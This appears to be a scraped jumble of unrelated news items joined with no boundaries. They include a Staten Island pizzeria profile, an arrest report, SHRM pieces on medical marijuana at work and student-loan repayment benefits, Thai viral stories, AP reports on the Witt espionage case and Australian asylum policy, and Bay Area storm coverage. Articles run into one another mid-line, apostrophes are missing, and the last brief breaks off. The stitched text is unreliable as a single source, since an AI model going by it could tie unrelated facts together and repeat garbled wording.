In summer 2014, LaRocca closed his upscale Italian eatery Nove at 3900 Richmond Ave. in Eltingville. The linen-cloth, special occasion concept proved too costly to operate. It became Campania later that year. After two years of long lines and continual waits for tables, it was time to open a new store. Docks Clam Bar closed and Campania took the location at 240 Page Ave. in Richmond Valley. Another location was opened in Miami, but LaRocca said it wasnt as successful as we had hoped" and it closed over a year later.

It was too big, he said.

The one place I wanted to be is the place were in right now. We might go to New Jersey. Customers have requested that we go to certain counties. But right now Ive go my hands full, La Rocca added with a chuckle.

Campanias menu revolves around pizza. However, each season sees a fresh set of options on the salubrious side -- whole-wheat choices, gluten-free pies, blackened chicken and shrimp, seared tuna on salads.

Its based on what people have requested, said LaRocca, pointing to a new salad of kale, chick peas and carrots.

The aim, LaRocca summed up, is to be affordable, offer good quality, food made to order...its all reason to come.

Pamela Silvestri is Advance food editor. She can be reached at silvestri@siadvance.com.STATEN ISLAND, N.Y .-- A Staten Island man who works as a teachers aide was arrested Tuesday at the St. George Ferry Terminal, hours after he was accused of making sexual advances toward a teenage girl.

Amgad Samaan, 57, who has home addresses on Court Street in Stapleton and Renee Place in Graniteville, was charged with forcible touching in connection with the Feb. 11 incident on a city bus, according to a law enforcement source.

Samaan, who works at a school in the Bronx, shared a similar commute with the 13-year-old victim, and allegedly approached her for the first time Monday on an MTA bus to show her pornographic materials, then touched her without her permission, the source said.

Hours later, the victim reported the incident to police, who, according to the source, had obtained video surveillance of the defendant interacting with the girl. On Tuesday morning, the victim was at the St. George Ferry Terminal with her father when she spotted the defendant and alerted police.

A spokesman for the citys Department of Education described the allegations as deeply troubling," adding that Samaan was immediately suspended without pay, pending the outcome of the investigation.

Samaan, who, according to police, does not have a criminal record, was hired by the city as a substitute para professional in 2008, then became a paraprofessional in 2012. The average salary for the position is about $33,000.Page Content





This is the second in a three-part series of articles on cannabis laws and court opinions. Today's article discusses workplace accommodations for medical marijuana use. The first part reviews different rulings on federal pre-emption of state marijuana laws, and the third part focuses on how marijuana is treated under state workers' compensation and benefit programs.

A

majority of states now permit medical marijuana use, and federal law may not always pre-empt state laws when it comes to their impact on the employment relationship. As employees increasingly turn to cannabis as a treatment option for various health conditions, employers must examine whether their policieswhich are no doubt aimed at maintaining safe and productive workplacesviolate their obligations under state disability-accommodation and leave laws.

A Few Key Laws

The Americans with Disabilities Act (ADA) and related state laws require employers to enter into discussions with workers with disabilities to determine if reasonable accommodations can be provided so such workers can perform the essential functions of their job.

[Visit SHRM's resource page on the Americans with Disabilities Act]

Additionally, the Family and Medical Leave Act (FMLA) and accompanying state laws allow qualified employees with serious health conditions to take time off for medical treatment. And the Drug-Free Workplace Act of 1988 requires federal contractors and grantees to guarantee drug-free workplaces as a condition of receiving government contracts or grants.

Although medical marijuana use is not covered under the ADA or FMLA, and all marijuana use is still illegal under federal law, courts across the country are now being asked to decide whether medical marijuana use should be accommodated under state law.

Employer-Friendly Decisions

Early cases tended to hold that employers need not accommodate cannabis treatment. In Washburn v. Columbia Forest Products, Inc., an employee alleged that his employer violated Oregon's disability-discrimination laws by firing him for testing positive for medical marijuana use.

The employer's policy prohibited employees from working with controlled substances (such as marijuana) in their system. The Oregon Supreme Court held that the "legislature intended the definition of 'disabled person' to be construed in light of mitigating measures that counteract  an individual's impairment."

The court determined that the employee was not considered "disabled" under state law because he could counteract his medical issues with prescription medication. Since the employee was not considered "disabled" in this context, the court determined that the employer had no statutory duty to accommodate him.

In Roe v. Teletech Customer Care Mgmt., the Washington Court of Appeals found that Washington's law does not prohibit an employer from firing an employee for using medical marijuana as authorized by a physician because the state law does not expressly require employers to accommodate on-the-job or off-duty medical marijuana use.

Similarly, the Montana Supreme Court in Johnson v. Columbia Falls Aluminum Co. ruled that an employer need not accommodate medical marijuana use. And in Ross v. RagingWire Telecommunications, Inc., the California Supreme Court refused to require employers to accommodate marijuana use.

The California high court noted that the state's legalization statute did not give marijuana the same status as legal prescription drugs. Observing the drug's illegal status under federal law, the court held that the state's disability-discrimination statute did not require employers to accommodate illegal drug use.

Employee-Friendly Decisions

Recently, other courts have reached different conclusions. In Barbuto v. Advantage Sales and Marketing, LLC, the Massachusetts high court addressed whether an employer must accommodate medical cannabis use, since state law permits medical marijuana use and prohibits disability discrimination.

The employer offered a job applicant a position as an entry-level salesperson that was conditioned on passing a drug test. During the onboarding process, the applicant mentioned that she suffered from Crohn's disease and used medical marijuana based on her physician's written certification to treat it. She said she did not use marijuana daily and would not consume it before or during work. However, she was fired shortly after she started the job because her drug test came back positive for marijuana.

The court held that an exception to the employer's drug policy to permit offsite marijuana use may be a reasonable accommodation where the employee's physician determines that marijuana is the most effective treatment for the employee's disability and that any alternative medication permitted by the employer's drug policy would be less effective.



Removing Ambiguity

To avoid such court battles, a growing number of states are writing employment protections into their marijuana legalization statutes. For example, Arizona, Arkansas, Connecticut, Delaware, Illinois, Maine, Minnesota, New York, Pennsylvania and West Virginia provide employment protections for medical marijuana patients. And a stalled 2018 bill would have provided similar protections in California. Such statutes prohibit discrimination against off-duty cannabis use or require employers to accommodate its use for medical reasons.

Notably, these statutes generally make exceptions for use by employees in certain safety-sensitive or federally regulated positions.

Tips for Employers

An employer's drug-testing and screening practices must comply with emerging laws in relevant states, even though all marijuana use is still illegal at the federal level.

In states that cover medical marijuana patients under disability laws, employers should confirm whether positive drug tests are connected to medicinal use before making employment decisions.

If a worker seeks an accommodation for medical use, employers can lean on traditional HR practices by ensuring that the employee has the appropriate medical certification and will refrain from on-duty use or otherwise not pose a risk in the workplace.

Part three of this series will continue this discussion and consider whether employees' use of medical marijuana will negatively impact their workers' compensation or unemployment insurance claims.

Dean Rocco is an attorney with Wilson Elser in Los Angeles. Noelle Sheehan is an attorney with Wilson Elser in Orlando, Fla.





Quiz: How Do Marijuana Laws Affect the Workplace?

Page Content

In February, lawmakers reintroduced legislation that would make the money employers give workers to repay their student loans tax-exempt.

The Society for Human Resource Management (SHRM) backs The Employer Participation in Repayment Act (H.R. 1043), which is co-sponsored by a bipartisan group of 100 House members. A companion bill (S.460) was reintroduced in the Senate with 18 co-sponsors.



The legislation would let employers give tax-free student loan assistance up to $5,250 a year per employee. That's the same amount that Section 127 of the tax code now treats as tax-exempt for employer-provided tuition assistance.



"Expanding employer education assistance helps address the skills gap, which is holding back both workers and employers," said SHRM President and Chief Executive Officer Johnny C. Taylor, Jr., SHRM-SCP. "When employers are able to help workers pay off student debt, more people will have confidence to pursue higher education and be better prepared to fill high-skilled fields."



"An obstacle to providing student loan repayment as a benefit is that the payments are considered taxable income for the recipients, and employers can't claim a deduction for these payments," explained Chatrane Birbal, SHRM's director of congressional affairs for health and employee benefits policy. The proposed legislation, in contrast, would give employer-provided student loan repayments the same tax advantages as provided by Section 127 tuition assistance.



Full text of the legislation can be found here. A summary of the legislation can be found here.



According to SHRM's 2018 Employee Benefits survey of more than 3,500 HR professionals, just 4 percent of organizations offered taxable financial aid to help employees repay student loans. In comparison, about half of organizations provided tax-exempt undergraduate or graduate educational assistance.



An employer contributing $100 per month would help an employee with $26,500the median amount borrowed for a bachelor's degreeget out of debt three years faster, saving over $10,000 in principal and interest over 10 years assuming a 4 percent interest rate, according to Gradifi, an employee-benefit student loan repayment platform.



[SHRM members-only toolkit: Designing and Managing Educational Assistance Programs]

Meeting a Pressing Need



A 2018 analysis by the Center for Retirement Research at Boston College found that college graduates with student loans save less for retirement by age 30 compared to graduates without debt, creating a savings shortfall that can be difficult to make up. Last year, the nonprofit National Institute on Retirement Security reported that, based on U.S. Census data, about 66 percent of working Millennials between ages 21 and 32 had nothing saved for retirement.



The U.S. Chamber of Commerce has put together a webpage with the latest student debt statistics.



"Many employers have successfully helped their employees pay down their debt, and encouraging similar programs across the country can move us closer to solving the student debt crisis," stated Rep. Scott Peters, D-Calif., a co-sponsor of the legislation.



"Student loan debt is such a major issue that some private companies have found that offering a benefit to help employees pay down their student loans has allowed them to recruit and retain young talent," said co-sponsor Rep. Rodney Davis, R-Ill. "Our bill simply builds on this private-sector approach to addressing the student loan debt crisis in this country by allowing this benefit to be tax-free to both the employee and the employer."

"SHRM has long advocated for legislation that would allow employers to provide student loan repayment assistance with pretax dollars," Birbal said. "Benefit offerings that meet the needs of the modern workforce will create better workplaces and a better world."

On March 20, participants in SHRM's 2019 Employment Law & Legislative Conference Advocacy Day on Capitol Hill will be asking congressional representatives to support this proposal.

Different Benefit Designs



Employers that provide student debt relief typically will match loan payments that employees make through paycheck deductions, although some employees are using more innovative approaches, some of which seek to avoid the taxes triggered when an employer gives funds directly to employees to help pay off their student loans.



Last year, for example, Abbott Laboratories launched a program to aid employees who contribute at least 2 percent of their eligible pay to their student loans through payroll deduction. These employees can receive an amount equivalent to the company's 401(k) match5 percent of the employee's compensationdeposited to their 401(k) accounts even if they don't otherwise contribute to their 401(k).

"If the employer simply pays a portion of the employee's student loan debt, that results in taxable W-2 wages to the employee," said attorney Elizabeth Thomas Dold, a principal with Groom Law Group in Washington, D.C. "Conversely, if the employer makes a contribution to a tax-qualified retirement plan to encourage participants to repay these debts, there is generally no taxation until retirement" on employer contributions, subject to annual IRS limits.



The IRS approved of Abbott's student loan benefit plan in a private letter ruling last year, although broader IRS guidance is still to come. Among issues to be addressed, the letter ruling approved a specific plan design with a regular 401(k) match and a student loan repayment match that were subject to nondiscrimination testing, leaving it unclear if a plan with a 401(k) safe harbor design, such as one depending on matching contributions to satisfy an actual deferral percentage (ADP) testing safe harbor, would pass the same muster with the IRS, benefits consultants said.



In January, insurance firm Unum announced it will let employees exchange unused paid time off for payments against their student loans, beginning next year. Employer loan-repayment dollars would still be taxable under this method, however, unless Congress changes the current law.

You are now listening to the sounds of the New Generation. A podcast created for those who desire a new way of gaining information rather than reading a traditional newspaper. In our show we will discuss everything from sports, pop culture, politics, and local news. To stay up to date on our latest episodes every week be sure to follow us on your favorite podcast service. And dont worry, we keep it short.Superstitious villagers have been drinking and bathing in ''magical'' mud they believe has special powers.



Locals were amazed when the light brown ''lava'' goo appeared in a cracked rice field in Nakhon Ratchasima, northeastern Thailand.



They noticed it had a fine, soft texture like beauty products. The women began rushing there to cover their arms in it, while also taking it home to mud baths.



Many residents have even bottled up the mud and diluted it with water so they can drink it.



Buddhist monks were invited to the ''magical'' spring to bless it and villagers have been worshipping the mud at the temple where they prostrate before bottles of it to show reverence.



But despite locals claiming it has made their skin look younger and cured aching joints, village officials in the Korat region have warned them it could contain toxic chemicals from farming pesticides in the ground.



Rutsamee Dipprakone, 43, defied the warnings and said that the mud was fresh and odourless with a fine texture like skin care products.



She said: ''I applied it on my face overnight and I could feel that my face was brighter, smoother, and softer today.



''I also drank it this morning and it gave a natural-feeling taste, like the fresh rain. I keep it on my skin for between ten and 20 minutes. It feels very good.''



Some locals believed that applying the "magic" clay on their body could cure chronic pain within three days.We use cookies to ensure that we give you the best experience on our website. This includes cookies from third party social media websites and ad networks. Such third party cookies may track your use on Sharedots sites for better rendering. Our partners use cookies to ensure we show you advertising that is relevant to you. If you continue without changing your settings, we'll assume that you are happy to receive all cookies on Sharedots website. However, you can change your cookie settings at any time. Learn moreA flotilla known as 'Freedom Ship 23' was launched 3:00pm Tuesday from Gaza port as part of ongoing attempts to break the Israeli siege imposed on the Gaza Strip.



Eight palestinians were injured by Israeli forces, according to the uploader. "Israeli forces opened fire, as well as fired tear-gas bombs towards large Palestinian crowds gathered at the northern borders of the besieged Gaza Strip," he wrote.



Around 40 fishing boats joined the 22 -strong procession, and sailed off the northern sea coast of the Gaza Strip until they reached the area between northern Gaza Strip and Israel. Boats were then forced to head back to shore.



The National Committee for Breaking the Siege, which organised the naval march, said "the naval marches will continue until our goals are achieved."A furious Thai airport worker stopped a tourist from flying in an angry row over hand luggage that was 0.4kg over the limit.



The Chinese tourist arrived at the boarding gate for his flight home at the Don Muang International Airport in Bangkok, Thailand, yesterday (February 13).



But the women at the NewGen Airways boarding gate demanded to weigh his case  which was allegedly found to be 5.4kg. This was over the airlines 5kg carry on allowance.



Angry scenes followed when the pair were seen standing over the scales as the man refused to pay extra to have the case checked-in and would not remove any of the belongings.



Mobile phone footage from another shocked airport user shows how the Thai desk worker repeatedly yells at the tourist and tells him he will have to stay in the airport.



Shes heard saying: ''If it's not OK, get out. Dont go. You stay here. Ive been talking to you for 10 minutes already, why don't you do it?''



Some witnesses blamed the Chinese tourist for causing the argument by not following the weight rules while others accused the worker of being unprofessional.



They said the row started when the airport worker refused to let the man board the plane with his overweight case.



However, the airline today apologised for the incident. A spokesman for NewGen Airways said: ''We sincerely apologise for the inappropriate behaviour of our officer. She had been warned and promised to behave thoughtfully.''WASHINGTON  A former U.S. Air Force counterintelligence specialist who defected to Iran has been charged with revealing classified information to the Tehran government, including the code name and secret mission of a Pentagon program.

The Justice Department said Wednesday that Monica Elfriede Witt, 39, defected in 2013 after attending a conference in Iran aimed at condemning American moral standards. She is currently at-large, along with four Iranian hackers who, prosecutors say, used the information she provided to target her former colleagues in the U.S. intelligence community.

The four Iranians were acting on behalf of the government-linked Iranian Revolutionary Guard, prosecutors said. They also remain at large; arrest warrants have been issued for them.

Prosecutors said Witt, who left the Air Force in 2008 and later became a Defense Department contractor, disclosed to Iran the code name and classified mission of a Pentagon special access program. No further details were immediately released. She also researched private information about colleagues she had worked with and created what the government says were target packages for use by the Iranian government.

They declined to say to what extent these disclosures compromised U.S. intelligence operations targeting Iran.

The indictment suggested that Iran had reached out to her at least as far back as 2012. That year, an unidentified person contacted her and remarked that she was well-trained. It said she replied: Well, I loved the work, and I am endeavoring to put the training I received to good use instead of evil. Thanks for giving me the opportunity, according to the indictment.

Using a typed smiley-face, she later told the same, unnamed person, If all else fails, I just may go public with a program and do like Snowden. Thats a reference to Edward Snowden, a former NSA contractor who leaked classified U.S. information.

Witt was working as a contractor in 2012 when she was offered an all-expenses-paid invitation to a Hollywoodism conference that was sponsored by the Iranian government and that promoted anti-Western propaganda, according to the Justice Department; she returned to the same conference the following year, when she was given housing and computer equipment and began working for the Iranian government.

Eric Tucker is an Associated Press writer.CANBERRA, Australia  The Australian government said Wednesday it would reopen a mothballed island detention camp in anticipation of a new wave of asylum seekers arriving by boat after Parliament passed legislation that would give sick asylum seekers easier access to mainland hospitals.

The Christmas Island immigration detention camp, south of Jakarta, Indonesia, was a favorite target of people smugglers who brought asylum seekers from Asia, Africa and the Middle East in rickety boats from Indonesian ports before the trade virtually stopped in recent years.

Prime Minister Scott Morrison said a security committee of his cabinet agreed to reopen the camp on the advice of senior security officials.

The decision was made before the Senate passed legislation 36 votes to 34 that would allow doctors instead of bureaucrats to decide which asylum seekers on camps on the Pacific island nations of Papua New Guinea and Nauru can fly to Australia for hospital treatment.

Morrisons conservative government argues that the bill, passed 75 to 74 by the House of Representatives on Tuesday, will undermine Australias tough refugee policy. The policy banishes asylum seekers who attempt to reach Australia by boat to the Pacific island camps in a bid to deter other asylum seekers from making the perilous voyage.

My job now is to ensure that the boats dont come, Morrison told reporters. My job now is to do everything in my power and the power of the government to ensure what the Parliament has done to weaken our border does not result in boats coming to Australia.

The legislation demonstrates the governments weak hold on power and will put asylum policy at the forefront of campaigning ahead of elections that Morrison wants to hold in May. He has ruled out calling a snap election on the refugee issue.

Morrison said he would repeal the foolish law if his government were re-elected.

Refugee advocates applaud the law that they regard as a more humanitarian approach toward asylum seekers.

The Senate passed similar amendments on medical evacuations despite ruling party objections on the last day Parliament sat last year.

Australian security agencies warned in December that if those amendments became law, asylum seekers would likely head to Australia again in significant numbers.

Rod McGuirk is an Associated Press writer.TEHRAN  A suicide car bomber claimed by an al Qaeda-linked group attacked a bus carrying members of Irans elite Revolutionary Guard paramilitary force Wednesday, killing at least 27 people and wounding 13 others, state media reported.

Tehran immediately linked the attack in Irans restive southeastern Sistan and Baluchistan province to an ongoing U.S.-led conference in Warsaw largely focused on Iran, just two days after the nation marked the 40th anniversary of its 1979 Islamic Revolution.SEOUL  Until recently, few had heard of PNR, a company in South Korea that turns sludge from steel mills into iron. Then a 94-year-old man named Lee Chun Shik tried to settle an old debt.

Lee grew up during the Japanese occupation of Korea and as a teenager he was taken to Japan and forced to work for a steel-maker, essentially as slave labor. Today, that steelmaker is Japans largest, Nippon Steel & Sumitomo Metal, with assets around the world, including $9.6 million worth of shares in PNR.

Lee asked a court in South Korea to seize some of those shares as compensation for what he endured so long ago  and the court did so last month.

The ruling is now at the center of a bitter dispute that has called into question the foundation of diplomatic ties between the United States top allies in Asia, driving them apart even as Washington is trying to build a united front against Chinas rise and a nuclear-armed North Korea.

The countries have also traded heated accusations over encounters between their armed forces. In December, Japan said a South Korean warship had locked targeting radar on a Japanese military plane. Seoul denied the charge and accused Japan of sending low-flying planes over its naval ships.

The spike in tensions has unsettled many who see cooperation between Japan and South Korea  which both host U.S. bases  as vital to stability in the region.

In October, the Supreme Court of South Korea ordered Nippon Steel to pay $89,000 each to Lee and the families of three other plaintiffs. A lower court ordered the PNR shares seized in January.

The Supreme Court followed up with two similar judgments in November against Mitsubishi Heavy Industries. At least a dozen cases involving 70 Japanese companies  including Toshiba, Panasonic and Nissan  are pending in lower courts.

Japan has responded with outrage, pointing to wording in the 1965 treaty that describes all claims arising from the colonial era as settled completely and finally. Prime Minister Shinzo Abe warned South Korea not to enforce what he called impossible judgments, hinting at economic retaliation if it does.

South Koreas president, Moon Jae In, replied that Japans leaders were escalating tensions for political reasons.

Choe Sang Hun and Motoko Rich are New York Times writers.UPDATE: The Sonoma County Sheriff's Office announced the Russian River officially reached flood stage Thursday afternoon. "We suggest if you are in a low lying area to move to higher ground," reads the Nixle alert.

Amid a torrent of rain, the Russian River in the North Bay is swelling and forecasters project the waterway will swell above its flood stage point of 32 feet Thursday night.

The river level at the Guerneville gauge is expected to peak at 8 a.m. Friday and rise more than six feet above flood stage to 38.8 feet, according to a projection released Wednesday afternoon by the California Nevada River Forecast Center (CNRFC).

At this level, flooding could be moderate with numerous businesses and homes in the lowest sections of towns inundated with water.

Many roads are expected to close, including sections of Highway 116 in Guerneville, Mays Canyon Road by the Old Rodeo Grounds and Old Bohemian Hwy in Monte Rio.

Flooding is also possible at Johnsons Resort, Parkers Resort, Creekside Resort, Riverside Park and Lower Redwood Drive in Northwood.

ALSO: Supersoaker slams Bay Area: Over 3 inches of rain in some areas, 70 mph winds

California officials are closely watching two dozen main stem rivers nearing flood stage as a wet storm drenches the Golden State. Eleven of those waterways are projected to swell above flood stage, says Chris Orrock, a spokesman for the California Department of Water Resources.

A couple of the rivers at risk are in Southern California and several are in the Sacramento and Chico area.

In the Bay Area, the Napa River in Napa and St. Helena, and the Navarro River near Highway 1 are projected to swell above flood stage in addition to the Russian River. All of these rivers are in the North Bay where Wednesday's storm has dumped some of the heaviest rain. Several locations have recorded more than three inches of rain in the last 24 hours as of noon Wednesday. (See rainfall totals for the Bay Area.)

MORE: San Francisco's Great Highway closed in both directions due to storm

The NWS released a flood watch in effect through 10 a.m. Tuesday that covered every county in the Bay Area other than Solano. A more severe flood warning was issued for urban areas and small streams in southeastern Sonoma County.

Orrock says the event will cause some flooding in the Bay Area, but the situation isn't forecast to be severe if the storm performs as projected and tapers off on Thursday.

"One of our big indications for high water events is the Sacramento Weir," says Orrock. "It's the only manually operated weir on the Sacramento River system, and when we have to open it we know the situation is severe. We don't expect to get to that stage at all. That could change if the storm stays over California for longer than expected, but right now we don't expect that to happen."The National Weather Service issued a warning Wednesday about the dangers of so-called "roofalanches" as an atmospheric river barrels down on the snow-covered Sierra Nevada.

The likelihood of deadly roofalanches  the sudden release of snow from rooftops  increases when heavy rain pummels roofs already covered in snow, the Reno office of NWS said Wednesday. Meteorologists advise people to avoid standing or playing under roofs throughout the Sierra Nevada.

WEATHER: Real-time radar and extended forecasts

"With several feet of snow on roofs throughout the Sierra these collapses can seriously injure or even kill someone," the weather service said. "Use extra caution anywhere snow may shed from roofs."

Meteorologists said heavy rain is possible below 7,000 feet and predict the rain will likely give way to snowfall by Friday through Sunday as a colder air mass blows into the Sierra.

BAY AREA SUPERSOAKER: Over 3 inches of rain in some areas, 70 mph winds

NWS also issued an avalanche advisory for Wednesday morning through Thursday morning due to heavy snowfall, intense southwest winds and rainfall at lower elevations, all of which increases the likelihood of deadly wet-slab releases. Avalanche conditions Wednesday were considered "very dangerous" on mountain peaks to below the tree line. Travel in or under avalanche terrain should be avoided, NWS said.

While deadly snowfalls from California rooftops are rare, they are not unheard of. Last year a San Francisco woman and her seven-year-old son who were skiing at Kirkwood Mountain Resort in Alpine County died when they were buried by snow that slid off the roof of their condominium.

Authorities found Olga Perkovic, 50, and her son Aaron Goodstein buried under three feet of snow. Both were transported to the hospital, where they died from their injuries.

Read Michelle Robertson's latest stories and send her news tips at mrobertson@sfchronicle.com.

Start receiving breaking news emails on wildfires, civil emergencies, riots, national breaking news, Amber Alerts, weather emergencies, and other critical events with the SFGATE breaking news email. Click here to make sure you get the news.Snow fell overnight in downtown Redding at elevation 495 feet, with a weather spotter reporting 10 inches of accumulation overnight, according to the National Weather Service.

"We've been here since 2002 and we've had snow maybe four times, but nothing like this," Enterprise High School teacher Chris Belcastro told SFGATE. "Branches as big as four inches around just snapped off. It's just a really heavy snow."A powerful winter storm is delivering drenching downpours and lashing winds to the Bay Area.

The winds kicked up overnight, howling across coastal areas and knocking mountaintops.

The highest wind speed recorded overnight was a 74 mph gust atop Mount St. Helena in the North Bay. A 61 mph gust was recorded on Mt. Diablo in the East Bay. San Francisco was whipped with 30 mph winds.

"We're getting reports of trees down and power outages," said Cindy Palmer, a meteorologist with the National Weather Service Bay Area.

A high-wind warning is in effect for the coast and hills above 1,000 feet and a less severe wind advisory for the interior valleys of the North and East Bay, the Santa Clara Valley, and the Salinas Valley. The warning is in effect through 10 a.m. Thursday.

The winds calmed after the sun came up Wednesday, but Palmer cautioned "we're not out of the woods with winds yet. We could still see high winds today."

The winds are blowing in a southeast to east-southeast direction, according to Palmer.

ALSO: Supersoaker slams Bay Area: Over 3 inches of rain in some areas

A moisture-rich winter storm known as an atmospheric river is drenching the San Francisco Bay Area Wednesday, inundating roadways with water and triggering rapid rises on creeks, streams and rivers.

The North Bay, which was hit with the storm first at about 7 p.m. Tuesday, is seeing the brunt of the rain, and as of 6 a.m., a gauge in Santa Rosa had already recorded 2.46 inches. Venado in unincorporated Sonoma County measured 3.64 inches as of 5:30 a.m.

"We've seen one-hour precipitation rates of almost up to a half-inch of rain an hour in Santa Rosa," said Spencer Tanger, a meteorologist with the National Weather Service Bay Area.

The system spread to the central Bay Area later in the night with San Francisco seeing its first showers around 8 p.m. and Oakland an hour later. A weather spotter in San Francisco recorded .88 inch as of 6 a.m.

MORE: Rain returning to Bay Area 'in a big way' midweek with atmospheric river

Atmospheric rivers carry long plumes of moisture  250 to 375 miles wide on average  and are like rivers in the sky. When the system hits landfall, the water vapor rises and cools, unleashing precipitation. The amount that falls is dependent upon the strength of the storm and its moisture content.

This storm was predicted to be moderate to strong with the NWS projecting rainfall totals of two inches in valleys, two to three inches in the North Bay, up to six inches in mountain areas and up to eight inches in the Santa Lucia Mountains in Big Sur.

"I think it's pretty much performing as expected," Tangen said. "We're focusing on the North Bay getting the most rain. The Bay Area has seen a good amount of rain, but not way more than we've seen with some other storms this year. But I think for the North Bay, this might be the biggest storm they've seen so far this year."Surrounded by thousands of acres of forest, minutes to Mount Rainier National Park and Alder Lake, this tiny cabin is a converted trailer big on quirky charm, asking just $134,500.

The cabin

With its trailer siding still intact, and the interior mostly original, the 288 square feet of 119 Winthrop Place evoke the feeling of a retro caravan.

The wood used to convert the trailer is old barn lumber, which explains its nostalgic warm patina.

Inside is one bed and one bath, a small but fully equipped kitchen, and a breakfast bar that faces the forested setting. Built in cabinets help offset limited space, offering clever places to stow belongings.

RELATED: Report: Seattle experienced slowest home price growth in 5 years

A deck wraps around one whole side of this main structure (there are two structures on the property). Plenty of room here for taking in views of the creek and Osborn Mountain.

Down the custom path from the cabin is a covered outdoor sitting area with fire pit. Two wood benches and a bar-height counter top offer the perfect spot for barbecuing and singing songs around the fire.

There's also a small shed for tools and vacation gear.

The lot

The property measures .48 acres, but such figures don't really matter when the lot backs up on thousands of acres of public forest and trails leading to the Nisqually River.

RELATED: Eastlake floating home offers two-level deck, next level views

For those in need of still more nature, Mount Rainier National Park is a five minute drive from this cabin, and Alder Lake is just ten minutes.

Perfect little escape?

For Seattleites, the drive to Paradise Estates in Ashford, WA is just under three hours, but seems more like a world away from the city.

RELATED: Winter wonderland getaways listed around Washington

In snow or sunshine, this tiny getaway is both unique and affordable, asking $134,500.

See the complete listing here.

Anna Marie Erwert writes from both the renter and new buyer perspective, having (finally) achieved both statuses. She focuses on national real estate trends, specializing in the San Francisco Bay Area and Pacific Northwest. Follow Anna on Twitter: @AnnaMarieErwert.Bay Area Rep. Eric Swalwell (D-Calif.) told POLITICO that he is leaning toward running for president in 2020.

"I'm ready to do this," Swalwell said. "I have to make a decision before April."

If he does officially declare his candidacy, Swalwell would join California Sen. Kamala Harris as the second candidate in the Democratic primaries with strong Bay Area ties.

Harris was district attorney of San Francisco and attorney general of California before being elected to the Senate in 2016. Swalwell served on the Dublin City Council before joining Congress in 2012.

MORE 2020: Former AG Eric Holder to decide on 2020 bid in a few weeks

Swalwell, who serves as chairman of the House Intelligence Subcommittee on the CIA, said his expertise on national security issues could help him distinguish himself from the rest of the field.

"I think I will be in the top tier of a field of candidates with national security experience,'' Swalwell told POLITICO.

In addition, the 38-year-old Swalwell thinks that he will connect with voters looking for fresh faces with fresh ideas.

"I'm one of the few who are connected to everyday people,'' he said. "We are seeing a high interest in all of these places where we show up ... the 'first in the nation' voters are embracing new energy, new ideas ... and new leadership."

Swalwell represents California's 15th congressional district, which covers the cities of Dublin, Castro Valley, Fremont, Hayward, Pleasanton and Union City, among others.

RELATED: Cher wants Rep. Eric Swalwell on the 2020 ticket

The 2020 field is already crowded, with Sens. Elizabeth Warren, Kamala Harris, Cory Booker, Kirsten Gillibrand and Amy Klobuchar officially in the race, along with Reps. Tulsi Gabbard and John Delaney.

Former Secretary of Housing and Urban Development Julian Castro has also declared his candidacy, as did South Bend, Ind., Mayor Pete Buttigieg.

Eric Ting is an SFGATE staff writer. Email him at eting@sfchronicle.com and follow him on Twitter

Start receiving breaking news emails on wildfires, civil emergencies, riots, national breaking news, Amber Alerts, weather emergencies, and other critical events with the SFGATE breaking news email. Click here to make sure you get the news.Representatives of Axon, the company that manufacturers Taser stun guns, defended the safety of the devices at a special meeting called by the San Mateo County Board of Supervisors on Monday to investigate the use of electronic control weapons in the wake of three deaths last year.



Axon representatives argued that the devices were the safest intermediate force option, causing less serious injuries than pepper spray, dogs or batons, and had never conclusively lead to a fatal electrocution, an assertion that drew jeers and laughter from the audience in the packed chambers in Redwood City.



Supervisor David Pine called for the hearing in December as an investigation into the death of Chinedu Okobi during an arrest in Millbrae by San Mateo County sheriff's deputies drew increasing scrutiny.



Okobi's was the third Taser-related death in the county last year, following Warren Ragudo in Daly City in January and Ramzi Saad in Redwood City in August.







An incoming storm that will start affecting the Bay Area on Tuesday night has intensified in strength and will hit a region that has already seen regular rain for the past few weeks, according to the National Weather Service.



As the storm arrives, starting on Tuesday night lasting into Thursday morning, a flash flood watch has been issued for the entire region, a wind advisory will be in effect for the interior valleys and a high wind warning is in effect for the hills above 1,000 feet, meteorologists said.



The rain will severely impact the coastal ranges, which may see up to 8 inches of rain in some areas and up to a half-inch per hour at times. The primary issue, according to meteorologist Ryan Walbrun, is the rain that has already impacted the region in recent weeks.







The Board of Trustees of the Dixie School District in Marin County on Tuesday evening will hold a hearing to consider several petitions to change the district's name that some consider racist and a reference to segregation, white supremacy and the pro-slavery Confederacy in the Civil War era.



Opponents of the name change argue the district was named after Mary Dixie, a Miwok Indian woman who had ties to James Miller who built the first schoolhouse in San Rafael in 1849.



Proponents of the name change have submitted 13 petitions, each containing a new name for the school district.







San Francisco Mayor London Breed joined city health officials Tuesday morning for the groundbreaking ceremony of the newly relocated and upgraded urgent care unit at Zuckerberg San Francisco General Hospital.



With the completion of the hospital's new $1.8 million Adult Urgent Care Center, residents with injuries not considered life-threatening will be able to get same-day medical care when the unit officially opens on Feb. 21.



The new facility has been moved from Building 80, a historic 1930s-era building on the hospital campus, to Building 5, which is currently undergoing seismic retrofitting to ensure critical services remains intact in the event of an earthquake.



The expanded unit also includes upgraded technology and 12 patient rooms, three more than the previous unit.







San Jose city officials are pushing for equitable access to technology through a $24 million fund that could bring internet access to low-income areas and ease a "digital divide" in the Silicon Valley over the next 10 years.



The Digital Inclusion Fund was approved in May 2018, and developed through feedback Mayor Sam Liccardo received from students struggling to meet technological demands at school.



The City Council is hoping to partner with the nonprofit California Emerging Technologies Fund to fundraise and implement an initial $1 million in grants.







A man killed in a stabbing in San Jose on Saturday has been identified as 59-year-old San Jose resident Adam Guerrero, according to the Santa Clara County medical examiner's office.



The stabbing was reported at 6:37 p.m. at the Palm Tree Inn Motel at 2724 Monterey Road, where police responded to find Guerrero suffering from a stab wound. He was taken to a hospital and pronounced dead a short time later.



Robert Martinez, 47, was arrested on suspicion of the fatal stabbing and was booked into Santa Clara County jail.



Police said Martinez and Guerrero lived in the motel in separate rooms, and that Martinez made the attack in Guerrero's room and then fled the scene. Martinez was located nearby and taken into custody, and police have not released any information about a possible motive.







Vallejo police on Tuesday released more information about a fatal officer involved shooting at a Taco Bell restaurant Saturday night.



Police said they are still waiting for the Solano County coroner's office to officially confirm the name of the driver who died when he allegedly reached for a gun on his lap in a vehicle at the Taco Bell at 974 Admiral Callaghan Lane around 10:35 p.m.



Six officers fired multiple shots at the driver in approximately four seconds, and the officers have been placed on administrative leave, police said.







A man sleeping in an accessory dwelling at an Antioch warehouse suffered minor burns early this morning when the building caught fire roughly a quarter-mile from the nearest fire hydrant, according to officials with the Contra Costa County Fire Protection District.



